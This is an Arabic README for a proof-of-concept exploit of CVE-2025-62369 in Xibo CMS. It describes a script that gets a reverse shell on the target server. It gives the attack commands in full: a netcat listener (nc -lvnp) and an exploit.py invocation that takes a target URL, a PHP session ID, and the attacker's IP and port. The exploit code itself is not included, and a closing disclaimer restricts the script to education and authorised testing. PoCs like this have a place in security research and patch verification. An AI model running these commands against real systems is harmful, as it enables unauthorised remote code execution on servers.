CVE-2025-62369 PoC

يستغل هذا السكربت ثغرة CVE-2025-62369 في Xibo CMS لتنفيذ أمر شل عكسي.

المؤلف

• الاسم: Cristian Branet
• GitHub: cristibtz

الاستخدام

1. ابدأ مستمعًا

nc -lvnp <PORT>

2. شغّل الاستغلال

python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -s "<PHPSESSID>" -i <LOCAL_IP> -p <PORT>

• <TARGET_IP>: عنوان IP لخادم Xibo CMS
• <TARGET_PORT>: منفذ خادم Xibo CMS
• <PHPSESSID>: معرّف جلسة PHP الخاص بك
• <LOCAL_IP>: عنوان IP الخاص بك لاستقبال الشل العكسي
• <PORT>: المنفذ الخاص بالشل العكسي (يجب أن يطابق المستمع لديك)

إخلاء مسؤولية:
هذا الكود مخصص للأغراض التعليمية والاختبار المصرح به فقط.